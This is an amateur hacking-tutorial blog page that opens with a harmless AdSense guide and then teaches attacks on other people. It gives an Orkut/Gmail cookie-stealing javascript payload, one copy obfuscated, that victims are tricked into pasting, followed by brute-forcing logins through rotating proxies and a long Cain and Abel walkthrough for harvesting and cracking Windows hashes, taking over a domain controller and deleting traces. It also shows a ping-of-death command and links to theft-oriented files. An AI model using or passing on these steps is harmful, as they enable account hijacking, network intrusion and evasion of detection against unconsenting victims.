Hello Guest! Welcome to Our Blog.
Something you might want to know about us.
Don't be hesitated to contact us if you have something to say.

Tutorials

| |
|

GooGle Adsense Full TuToRiaL

 
  Q)What is Google adsense? Ans)Google  adsense is a ppc (paid per click) program  presented by  Google And its aim to develop their projects around the  world.
Q)Why Google pay us?
Ans)Google wants Website to develop  or propaganda of their products  Google give us apportunity to place  their adds on our site if some one  click on this add google take money  from this add holder and some of it  goes to googles pocket others on  our so thats why google pays us
Q)How can we Make money with google?
Ans)You just have to make a adsense account Click here to start www.google.com/adsense signup   for a free account and then wait for approval make a free website or   with toplevel domain or a blog (web journal)
if your site is  according to google policies (click here to read google policies ) And please read carefully the terms and   conditions after that if your google adsense review is complete and  your  account get approval then they give you a code Copy This code and  then   paste it to any where in your website or in blog.
Q)How can i  add adsense in my blog?
Ans)Its very simple just 1st have to login  to your blogger's account  after that go to Layout and then add a gadget  in gadget popup choose  html/java script  and paste the code here and then you can see the  script on your site  these adds are now added to your blog you can move  adds any where in  your blog by Holding them and left where you want  Thanks if you don't  understand then watch this tutorial




How to add Google adsense into your website

 


Pass Steeling   :





H*cking orkut or Gmail" With the Help of Cookies or by "stealing cookies of the victim
By going through this post i hope you will understand how easy has ha*king become with the help of cookies.

By this post you'll be learning cookie stealing and H*cking orkut Or Gmail account.

Procedure to h*ck gmail or orkut through mozilla by stealing cookies:-

1.Firstly you need have Mozilla firefox
2.Download cookie editor plugin for Mozilla firefox
3.You need to have two fake accounts to Hac* Orkut or Gmail , So that you have to receive cookies to one Orkut account and other Orkut account for Advertising your Script, Well it depends on your Choice to have Two Gmail(Orkut) accounts


Cookie Script:

java script:nobody=replyForm;nobody.toUserId.value=33444211;
nobody.scrapText.value=document.cookie;nobody.action='scrapbook.aspx?
Action.submit';nobody.submit()


How to use cookies script?

1. Replace your number "UserId.value=33444211"
How to Replace your Number
1. Go to your album
2. Right click on any Photo> Properties>55886645.jpg It will be a Eight Digit Value.
3. Now replace your value with the value in the java script

now

Your script will look like

java script:nobody=replyForm;nobody.toUserId.value=yournumber;
nobody.scrapText.value=eval(String.fromCharCode(100,111,99,117,109,101,110,116,4
6,99,111,111,107,105,101));
nobody.action='Scrapbook.aspx?Action.writeScrapBasic';nobody.submit()

2.Now send this Cookie script to the victim and ask him to paste in Adress bar and Press enter
3.You'll Get his cookie in your scrap book
4.After Getting a cookie go to your orkut Home page , Then clik on Tools tab and then go to cookie editor plugin( Tools--> Cookie editor)
5.click filter/refresh.look for 'orkut_state' cookie. just double click it and replace the orkut_state part with your victim's Script
put ur eight digit number in the place of (33444211)

Thats it your done With.
Logout of your orkut and login again and you'll be in your victims Homepage.
Posted by Ali Hayder at 3:20 AM
Hac*ing MSN
H*cking MSN

a small trick ll worked for me hence posting it here


Ha*king MSN is actually VERY simple. Msn is designed to route the connection through a microsoft server while you are chatting. However, when a file is sent, a DCC (direct connection) is created. This was purposely done because otherwise microsoft would waste alot of bandwidth so a direct connection is made. This is your chance. Make a file transfer occur between u and a victim (try to send a big file), open up your command prompt (run "cmd" in NT/XP or "command" in 9X to get into prompt) and run netstat. usually the MSN targets IP would be above port 2000. enjoy.


If u recieve some crap like gux1-43.primus.com as the target, do a reverse DNS lookup on it. However, this occurs very rarely, mostly u will recieve a clear IP.

once u have d IP u can do anything with him by Fingerprinting.

U can protect yourself from this occurring to you by using a proxy with MSN (under connections panel in options).





Using Access Driver :


Tutorial for AccessDiver:


1. Change "My Skill" to expert.
2.       Click  the "Settings" tab and check both "let a BOT retries once" and "Never stop - Continue..."
/* Not needed but highly recommended for user safty
3. Click the "Proxy" tab and enable WEB proxies.
4. After adding proxies, check "Rotate proxies 1 logins", Select "Don't reactivate proxies (=stop proccess)" under Reactivation.*
*/
5. Open a Wordlist (this will be the username/passwords that it trys)**
6. Type in the url that you wish to crack and let it run till its done =D

I'm not giving out any wordlists or proxy lists because its best if not everyone is using the same one =P

Have fun! =D

P.S. This should not       Work on sites that use image verification without using an exploit. And I also recommend u use a VPN instead of a proxy for more security. If you get caught using this on another.......  Person site, you can be jailed/fined so USE THIS ONLY ON YOUR OWN SITES (lol)

* After doing this, it is easier to leech a huge list of proxies from sites. Sites can be like This for example, and add it in the "Proxy/WEB Proxy leecher" tab. After you add all the sites that you want to leech, select "Start Leeching". Once you are finished leeching proxies, add them to your proxy analyzer list. Do a Speed/Accuracy Tester on them all and make sure they don't timeout and all of the bad things... (i set the timeout to 5 seconds to make everything just go alot faster but this eliminates quite a few proxies if you are looking for a large list) After that, delete all the ones that do not say "Ok" and repeat the process until you are satisfied that the proxies are reliable. You may also do an Anonymity Check for security but that is not necessary. After you are completely satisfied with the proxy list, select them all and right click. Then select the option to add them to your proxy list (i think thats the correct name but I'm not doing this as i go through)

** After doing this, you may want to change the word manipulation in "Settings/Manipulation". I would select them all if you want to get the most out of your wordlist.


Home Page :
http://www.accessdiver.com/


Cain And Able Tutorial :

Cain and Abel Tutorial


As discussed in chapters 1 and 2, reconnaissance, information gathering and selecting a target are only half of the fun. The following appendices work to support these endeavors with the Cain and Abel Application
Current versions of this application can be located at the author’s site at www.oxid.it.

What you will need:

1. current version of Cain from www.oxid.it

2. Windows 2000 or Windows XPSP1 configured workstation



Getting started:


Cain is an easy application to Install
and configure. However, there are several powerful tools that should only be configured after you fully understand both the capabilities and consequences to the application and the target network. After all, you can’t very well hack a network if you take it down. Proceed with caution.


Referring back to chapter two, you will need to know what you are trying to hack. This appendix assumes that you are trying to get the administrator’s username and password for the network. The focus of this appendix is on obtaining that information. The other appendices in this chapter deal with other capabilities of the application to gain access to a network. To this end we need to accomplish the following steps to get the admin account:


1. Enumerate the computers on the network

 2. connect to a computer and install the Abel remote app
3. Harvest user account information
4. Crack user account information passwords to get the admin account

5. Login to the target machine with the admin account
6. Install the Abel service on the target server

7. Harvest all of the hashes from a server and sent to the cracker



Once we have the admin account on the server, the rest is up to you.


First things first, after you launch the application you will need configure the Sniffer to use the appropriate network card. If you have multiple network cards, it might be useful to know what your MAC address is for your primary connection or the one that you will be using for Cain network access. You can determine your MAC address by performing the following steps:



1. Go to “Start”

2. Run

3. enter the “CMD”

4. A black window will appear

5. Enter the following information into the window without the quotes

“Ipconfig /all” and then Enter

6. Determine which one of the Ethernet adapters you are using and copy the MAC address to notepad. You use this to help determine which NIC to select in the Cain application
With the Cain application open, select the Configure menu option on the main menu bar at the top of the application. The Configuration Dialog box will appear. From the list select the device with the MAC Address of Ethernet or Wireless network card that you will be using for hacking. While we are here, let’s review some of the other tabs and information in the Configuration Dialog Box. Here is a brief description of each tab and its configuration:



1. Sniffer Tab: allows the user to specify the Ethernet interface and the start up options for the sniffer and ARP features of the application.

2. ARP Tab: Allows the user to in effect to lie to the network and tell all of the other hosts that your IP is actually that of a more important host on the network like a server or router. This feature is useful in that you can impersonate the other device and have all traffic
for that device “routed” to you workstation. Keep in mind that servers and routers and designed for multiple high capacity connections. If the device that you are operating from can not keep up with traffic generated by this configuration, the target network will slow down and even come to a halt. This will surly lead to your detection and eventual demise as a hacker as the event is easily detected and tracked with the right equipment.

3. Filters and Ports: Most standard services on a network operate on predefined ports. These ports are defined under this tab. If you right click
on one of the services you will be able to change both the TCP and UDP ports. But this will not be necessary for this tutorial, but will be useful future tutorials.

4. HTTP Fields: Several features of the application such as the LSA Secrets dumper, HTTP Sniffer and ARP-HTTPS will parse the sniffed or stored information from web pages viewed. Simply put, the more fields that you add to the HTTP and passwords field, the more likely you are to capture a relevant string from an HTTP or HTTPS transaction.

5. Traceroute: It is what it is, trace route or the ability to determine the path that your data will take from Point
A to point B. Cain adds some functionality to the GUI by allowing for hostname resolution, Net mask resolution, and Whois information gathering. This feature is key in determining the proper or available devices to spoof or siphon on your LAN or internetwork.



Ok, So now you have everything all set and you are ready to rumble, as it were. Now, after I select the adapter on the sniffer tab, I generally set the sniffer to start on start up and then select apply. Do not enable the arp poisioning at this point, you will not need it and if this is your first exposure to Cain and or hacking, you will just get yourself caught with the ARP stuff. I generally stop and start the application at this point to get a clean start and reload the application with my intended settings.



So, launch the app and make sure that the first icon on the Left that looks like a miniature Ethernet card appears depressed. This indicates that the sniffer is activated. At this point, it is time to get a cup of coffee and let the app just sit. Yep, that is right, just leave it running and don’t touch anything. The reason for this is that not every device is talking all of the time and some protocols only talk on specific intervals. You will need to wait at least 300 seconds to ensure that the Cain sniffer has heard from each protocol at least once. This is most germane to routing protocols, but I have seen it take this long or longer to see all of the hosts on a LAN.



NOTE: The next section makes the assumption that you have properly configured your Ethernet interface with an IP address that is correct for your network and that you have logical connectivity to the target hosts.



At this point you are asking your self “Are we ever going to start hacking…?”


Let’s hack then. Go to the network tab and double click on the Microsoft windows network under the Entire Network navigation tree. After a few moments, the tree will expand and show each of the workgroups and domains that are accessible to your network card. From here select your target network and click the “+” symbol to the Left to open the tree.



Understanding that servers generally, or are supposed to, have more security than the other devices on the network, it is generally better to go for a workstation over a server out of the gate. Also, some servers will have monitoring agents on then that could detect what is going to happen next.



Double click on the All Computers object in the tree under the target network section of the tree. Now look at the names of the all of the devices listed. Many times the administrator will name the servers with some naming convention that will single them out in not time flat. Try to use the naming convention to your advantage and look for a pc that potentially is used by multiple persons. Key giveaways are names like scanner1, or receptionist, or lab. These machines will have several accounts on them and one of them is likely to have an admin account on it. These machines are key targets for two reasons. One, they are generally set up in a hurry when the company first sets up the network during a time when security is an afterthought, and as such they are likely to have default configurations for the local admin. Secondly, they generally have several apps on then and lots of people use them. With multiple applications, excessive rights are often granted to all users to ensure that every one can use the app that they need. Anyway, back to the hack….



When you click on your target, you will see 4 new objects in the tree under your target. These will be Groups, Services, Shares, and users. “Users” is what you want first. Double click on the users object icon and select yes to start the user enumeration. Caution! – Do not go for the history information at this time, we will get to that later. After all of the user accounts are enumerated they will be listed in alphabetical order and the local administrator will have a large red A in front of it. Ok, here we go. Go back to the computer object of the computer that you just enumerated and right click on the object. Select the connect as option. Just for fun, if the administrator account has not been renamed, it is likely that it will have a blank password or be something fairly simple. Try to log in with the user account administrator and a blank password. In about 70% of my experience at this point, the hack is over for the local machine and you are in and can start playing. If it did work, then right click on the “Services” object for the device that you have just logged into and select Install Abel. Cain will install Abel.exe and Abel.dll into the %systemroot% on the local machine. Collapse the computer object and then re-expand it by double clicking on the computer object icon and you should see a Black square with a Blue A in the middle directly under the computer object in the tree. (I get excited just thinking about it). At this point you have the keys to the castle, you just need to see which key goes where. First lets get the hashes and get the ready to crack. Double click on the users object in the tree. Say no to the history pop up for now. Select all of your users by right clicking on an account and selecting “Send all to cracker.” Leave them for now, we will come back to them. What you have just done is load a portion of the application with all of the NT and NTLM hashes for every account on the target PC.



Now, if you have been following the book, you will remember the endless posts on hackerthreads that talked about using the command line to get at certain directories on a target machine, well here is where they will come into play. (If you are not too familiar with the cmd line, please refer to the Glossary of this book and review the command line hacking section. There are many useful tools like adding users and computers to domain security groups.



Let’s go over our options:



Console: This is the command prompt on the remote machine. Anything that you can do on your pc from the CMD prompt can be done from here. Examples include mapping a drive back to your pc and copying all the files from the target or its mapped drives to your machine for later data mining, adding local users to the local security groups or anything really. With windows, everything is possible from the command prompt.



Hashes: Allows for the enumeration of user accounts and their associated hashes with further ability to send all harvested information to the cracker.



LSA Secrets: Windows NT and Windows 2000 support cached logon accounts. The operating system default is to cache (store locally), the last 10 passwords. There are registry settings to turn this feature off or restrict the number of accounts cached. RAS DUN account names and passwords are stored in the registry. Service account passwords are stored in the registry. The password for the computers secret account used to communicate in domain access is stored in the registry. FTP passwords are stored in the registry. All these secrets are stored in the following registry key: HKEY_LOCAL_MACHINE \SECURITY\Policy\Secrets





Routes: From this object, you can determine all of the networks that this device is aware of. This can be powerful if the device is multihommed on two different networks, but you read about all of that in chapter 5 – Heard, but Not Seen, Right?



TCP Table: A simple listing of all of the processes and ports that are running and their TCP session status.



UDP Table: A simple listing of all of the processes and ports that are running and their UDP session status.



Ok, back to the hack, for those of you that did not get in with the admin account with no password, another trick is to try to login to each account in the list with the same password as the username. For example, right click on the computer object in the tree and try to login with on of the user account names and use the username as the password. If that does not work then try each one with no password. I have only run into one network where these two things did not work. Also, the LSA Secrets tree object will dump the following user accounts in plain text for you if they are present:



$Machine Account

Aspnet_WP_PASSWORD

L$******************** (this is the currently logged on user with the password)

L$******************** (this will be every user that has logged in up to the total number of cached logons.

RASDAILPARAMERTERS (these are present if RAS is configured and has been used)

Backup user accounts

Misc other accounts

Note: when you see the account in plain text, it will have separators. When you type the password into a logon, omit the extra “.”. ie. The password Ramius!@# will show up as R.a.m.i.u.s.!.@.#.... All that you will type the Ramius!@#.



OK, so far we have accomplished the following goals:



1. Enumerate the computers on the network

2. connect to a computer and install the Abel remote app

3. Harvest user account information



We still need to finish the hack by performing the following steps and then move the hack to a server or more valuable target.



1. Crack user account information passwords to get the admin account

2. Login to the target machine with the admin account

3. Install the Abel service on the target server

4. Harvest all of the hashes from a server and send to the cracker

5. Crack all of the accounts



Well, we learned in chapter 2 that staying focused is the key to hacking, so lets get back to it. In the Cain application, lets to the “Cracker Tab” and have a look.



The cracker tab has two basic parts. On the left are all of the hash types that Cain will crack for you. On the right are all of the associated hashes with their usernames. What we need to do is determine the password from the hash.



Note: Now would be a good time to copy the rainbow tables and password lists from the CD’s found in the back of the book to a directory on your local machine. The use of the rainbow tables will greatly increase the speed and efficiency of the cracking process as will the dictionary files included on the CDs.



Cain provides three options for determining the password from a harvested hash; these are Dictionary guessing, Bruting and Cryptanalysis. The preferred method is Cryptanalysis as it is by far the fastest if you have the tables generated. As stated in chapter 1, it would be a good idea to have tables generated for all of the possible variants for passwords from 1-7 with all possible combinations of letters and numbers and symbols. Dictionary cracking is by far the easiest of all configurations and every hacker should have extensive lists available to use.



In this appendix we are going to explore all three options.



First, let’s look at what we can tell so far from the hashes and the Cain application. One of the columns heading looks like this <8. This means that any password with an “*” symbol is less than 8 characters. These will be the easiest to brute as they can be bruted in about 5.5 hrs with a marginal processor and memory. You can sort all of the hashes by size by clicking on the header bar at the top of the column. On the PC that I am hacking for this tutorial, I have 13 hashes and 7 of them appear to be less than 8 characters so we will start with cracking first.



Dictionary Cracking – Select all of the hashes and select Dictionary Attack (LM). You could select the NTLM but the process is slower and with few exceptions the NTLM and NT passwords are the same and NT cracks (Guesses) faster. In the Dictionary window, you will need to populate the File window with each of you dictionary files. (Move files from the CDs to your hard drive or it will take significantly longer than necessary. Check the following boxes: As is Password, Reverse, Lowercase, uppercase, and two numbers.



Dictionary Cracking



Click start and watch Cain work. The more lists and words that you have, the longer it will take. When Cain is finished, click exit and then look at the NT password column. All of the passwords cracked will show up next to the now owned accounts. Voila!



Take a second to look carefully at the accounts and passwords in the list. Look for patterns like the use of letters and characters in sequence. Many administrators use reoccurring patterns to help users remember their passwords. One time I found a network where the passwords were the first three letters of the first name and the three letter month abbreviation of the month that the password was set. Example: Ramius password reset in November would have a user account of RAMNOV. If you can identify patterns like this you can use word generators to create all possible combinations and shorten the window.



Cryptanalysis attacking


Alright then… Resort your hashes so single out the accounts that you have left to crack. Now select all of the un-cracked or guessed accounts and right click on the accounts again and select Cryptanalysis (LM). Add the tables that you copied from the CD to the Cain LM hashes Cryptanalysis Sorted rainbow tables window. Click start. This should go pretty quick. Voila! Take a second to review your progress and look for additional patterns.



At this point, I would grab a program like sam grab that has the ability to determine which accounts are members of the domain administrators group to see if you have gotten any admin level accounts. Once you move to the next step, which is bruting, most of what you have left are long passwords that are going to be difficult and time consuming. Any time saver applications that you can find will be helpful.


Bruting


Repeat the same process for selecting the accounts. Here is the first time that you will actually have to use your brain in this appendix. Bruting can be extremely time consuming. Look closely at all of the passwords that you have cracked and look for patterns. First do you see any special characters in any of the passwords cracked. How about numbers? A lot of all upper case of all lower case? Use what you see to help you determine what parameters to include when you are bruting. As you will see, the addition of a single character or symbol can take you from hours to days or even years to crack a password. The goal is to use the least amount of characters and symbols to get the account that you need. So lets finish it off. Select all of the un cracked accounts and follow the previous steps and select Brute Force (LM). The default for LM is A-Z and 0-9. This is because that is due nature of LM hashes and the way that they are stored. Another note is that sometimes you will see a “?” or several “????” and then some numbers or letters. This is also due to the nature of NT versus NTLM and the method that NT used to store passwords. If you read chapter 2, you already know why this is. If not see if you can find a repeating structure that is based on the number 7. Anyway, based on the other passwords and those accounts with an “*” in the <8 field on how many characters to specify in the password length pull down box. Make your selection and have at it. Holy crap Batman … 123749997 years to completion. If you see this, then you should rethink the need for this account. However, working with the application, rainbow tables and password generators can help your narrow down to reasonable time frames to get the job done.



Ok, so now we have our admin account and are ready to finish the hack. Go back to the network tab in the Cain application and select the Domain Controllers object under the same domain where the PC was that you harvested the hashes. Double Click. Now look through the serves in the domain and select your target. If you find one with PDC or BDC in the list, pick that one. Right click on the server and select connect as and enter the “Hacked Credentials.” Now go to the “services” object and right click again and install the service. Voila! You have admin and likely every other type of access to the target host!



Now you can repeat the steps to finish the hack



And this concludes our hack as we have accomplished each of out goals.



Some things to consider:



When you exit the Cain application, all of the password hashes and cracked accounts will be saved and can be hacked later in a remote location. They can also be used against you in court as evidence.



Also you can export all of the hashes to an .lc or text file and open up the file in Excel to perform some additional sorting and the like.



All of the devices that you infected with the Abel.exe and Abel.dll will have the Abel.exe service running and because the list is alphabetical, it will always be on top of the list. Any admin, even poor ones will question the presence of a new service. And there are ways to trace the install time and originating IP and MAC address of the installing machine back to YOU. Read Chapter 5 – Heard but not seen! Covering your tracks… It is everything. Here is a hint. Enable the telnet service and connect to the hacked and from the command prompt you will use the following commands



Net stop abel.exe

Cd %windir%

Del abel.*

CD %windir%/system32

Del abel.*

Exit


Once this is complete, you will have to reinstall the Abel client app to reconnect through Cain. Oh, and there is that bit about the event and security logs…. But that is another tutorial……



Definitions:


MAC: Media Access Control - In computer networking a media access control address (MAC address) is a code on most forms of networking equipment that allows for that device to be uniquely identified. Each manufacturer for Network Cards has been assigned a predefined range or block of numbers. The structure and other uses of the MAC addressing are defined in the Intro to networking appendix at the end of this book. Information about manufacturer assignments for MAC addressing block assignments can also be found at the following site. http://standards.ieee.org/regauth/oui/index.shtml.



Sniffing: Sniffing is the act or process of “Listening” to some or all of the information that is being transmitted on the same network segment that a device is on. On an OSI Model Layer 1 network, even the most basic Sniffers are capable of “hearing” all of the traffic that is sent across a LAN. Moving to a Layer 2 network complicates the process somewhat, however tools like Cain allow for the spanning of all ports to allow the exploitation of layer 2 switched networks.



ARP: Address Resolution Protocol – Address Resolution Protocol; a TCP/IP function for associating an IP address with a link-level address. Understanding ARP and its functions and capabilities are key skills for hackers and security professionals alike. A basic understanding of ARP is necessary to properly utilize all of the functions that Cain is capable of.



About Dos Attacks :

To start make sure that your notepad program which your reading this in has wordwrap ON!

I Warpboy am not responsible for any mis-use of this
information. This is written to show the effects that DoS
has on websites and operating systems, and the how
they are done.

*This tutorial is written at level 3!!!

Ok lets get started Denial of Service or (DoS) attacks have matured from mere annoyances to severe high-profile attacks to e-commerce sites. When performing DoS attacks there are alot of approached techniques, including the famous but old "Ping of Death" which will be covered in this tutorial. DoS has been raging on since the 90's, getting more advanced and more serious. This tutorial is going to explain the jist of it to you.

We will start at the beginning and I will start by saying that if you plan to bring down a site with DoS its probably going to take more than 1 computer. The rage which has hit with DoS is DDoS (distributed denial of service) which is a DoS attack, but not done by one user, done by many users or a bot armie. A famous DDoS attack is the one done to GNR.com the attack completely took up all the sites bandwith within seconds. There site was recorded to have been attack by 456 Windows users.Now that you understand the god like power of this raging and more feared attack. Lets move on to the different types of DoS attacks.


---Fragmentation overlap

By forcing the OS to deal with overlapping TCP/IP packet fragments, this attack caused many OSs to suffer crashes and resource starvation. Exploit code was realeased with names such as bong,boink, and teardrop.

---Oversized Packets

This is called the "Ping of Death" (ping -1 65510 192.168.2.3) an a Windows system (where 192.168.2.3 is the IP adress of the intended victim). What is happening is the attacker is pinging every port on the victims computer causing it to echo back 65510 requests. Another example is a jolt attack a simple C program for OSs whose ping commands wont generate oversized packets. The main goals of the "Ping of Death" is to generate a packet size that exceeds 65,535 bytes. Which can abrubtly cause the victim computer to crash. This technique is old!

---Nukers

Yet another old form of attack this is related to a Windows vunlnerablity of some years ago that sent out-of-band(OOB) packets. To the consenting computer causing it to crash.

---SYN floods

A newer technique of DoS is SYN floods, basically this is done through a 3 step process, better known as the three way handshake. When a TCP connection is initiated this occurs. Under some normal circumstances, a SYN packet is sent from a specific port on system 1 to a specific port on system 2 that is in the LISTEN state. Then the potential connection on system 2 is in a SYN_RECV state. At this stage system 2 will attempt to send back a SYN/ACK packet to system 1.If all works out, system 1 will send back an ACK packet, and the connection will move to an ESTABLISHED state. Now thats what happens most of the time, but a SYN flood is different it creates a half open connection. Most systems can sustain hundreds of connections on a specific port, but it will only take a few half open connections to exhaust all the resources on the computer.

---Smurf Attacks

The smurf attack was one of the first to demonstrate the use of unwitting DoS amplifiers on the Internet. A smurf takes advantage of directed broadcasts and requires a minimum of three actors: the attacker, the amplifying network, and the victim. What happens is the attacker sends out spoofed ICMP ECHO packets to the broadcast address of the amplifying network. The source address of packets is forged to make it appear as if the victim system has initiated the request. Then all hell breaks loose!!! Because the ECHO packet was sent to the broadcast address, all systems on the amplifying network will respond to the victim. Now take a thought if the attacker sends just a single ICMP packet to an amplifying network which contains 500 systems that will respond to a broadcast ping, the attacker has now succeeded in multiplying the DoS attack by a magnitude of 500!

---Fraggle Attack

A fraggle attack is the same as a smurf attack, but it uses UDP ports instead.

---DDoS Attack

This is a much harder to block kind of attack, it has been used against big sites such as E-Trade, Ebay, and countless others. The problem with these attacks there very hard to trace. Most traces can link back to @Home users! The new DDoS attacks are termed Zombies or Bots. These bots rely heavily on remote automation techniques borrowed from Internet Relay Chat (IRC) scripts of the same name. A group of zombies under the control of a single person is called a zombie network or a bot army. The master of these armys or networks can do full fledged DDoS attacks or SYN floods. The basic estimate size of zombie networks are from a few systems to 150,000 systems. Even a few hundred machines could prove very dangerous.


A Basic Guide To The Internet:
http://www.ziddu.com/download/11342512/ABasicGuidetotheInternet.txt.html

Create A Personal Screen Saver In Win Xp:
http://www.ziddu.com/download/11342548/CreateAPersonalScreenSaverInWinXp.txt.html

10 reasons why PCs crash U must Know :
 http://www.ziddu.com/download/11342611/10reasonswhyPCscrashUmustKnow.txt.html 

20 Great Google Secrets  :
http://www.ziddu.com/download/11342653/20GreatGoogleSecrets.txt.html 

23 Ways To Speed WinXP, Not only Defrag :

8 People Can Use The Same Msn Dial Up Account :
http://www.ziddu.com/download/11342681/8PeopleCanUseTheSameMsnDialUpAccount.txt.html

All About Movie Tags (what Is A Dvdrip, Cam Etc.):
http://www.ziddu.com/download/11342709/AllAboutMovieTagswhatIsADvdripCamEtc..txt.html

Automatic Windows Installation, No keypress required!:
http://www.ziddu.com/download/11342721/AutomaticWindowsInstallationNokeypressrequired.txt.html

Bit Torrent Tutorials :
http://www.ziddu.com/download/11342768/BitTorrentTutorials.txt.html

Boot Windows Xp Fast:
http://www.ziddu.com/download/11342787/BootWinxpFast.txt.html

Cracking Zip Password Files:
http://www.ziddu.com/download/11342796/CrackingZipPasswordFiles.txt.html

Change The Default Location For Installing Apps:
http://www.ziddu.com/download/11342834/ChangeTheDefaultLocationForInstallingApps.txt.html

Change Your Ip In Less Then 1 Minute:
http://www.ziddu.com/download/11342850/ChangeYourIpInLessThen1Minute.txt.html

Creating a Board aka Forum on your own PC !:
http://www.ziddu.com/download/11342857/CreatingaBoardakaForumonyourownPC.rtf.html 

Download from a paypal site without paying a penny!:
http://www.ziddu.com/download/11342872/Downloadfromapaypalsitewithoutpayingapenny.txt.html

Change Your Ip In Less Than 1 Minute:
http://www.ziddu.com/download/11342890/ChangeYourIpInLessThen1Minute.txt.html

Free Access To Website WithOut Registering:
http://www.ziddu.com/download/11342913/FreeAccessToWebsitesWithoutRegistering.txt.html

Free World Dialup:
http://www.ziddu.com/download/11342917/FreeWorldDialup.txt.html 

How To Increase Download Speeds By 100-200 Kbsec:
http://www.ziddu.com/download/11342927/HowToIncreaseDownloadSpeedsBy100-200Kbsec.txt.html 

How To Make Free Phone Calls:
http://www.ziddu.com/download/11342949/HowToMakeFreePhoneCalls.txt.html 

How to set up a server with Apache , PHP , MySQL , Perl , phpMyAdmin :
http://www.ziddu.com/download/11342966/tosetupaserverwithApachePHPMySQLPerlphpMyAdmin.txt.html

 

Follow This Blog !!!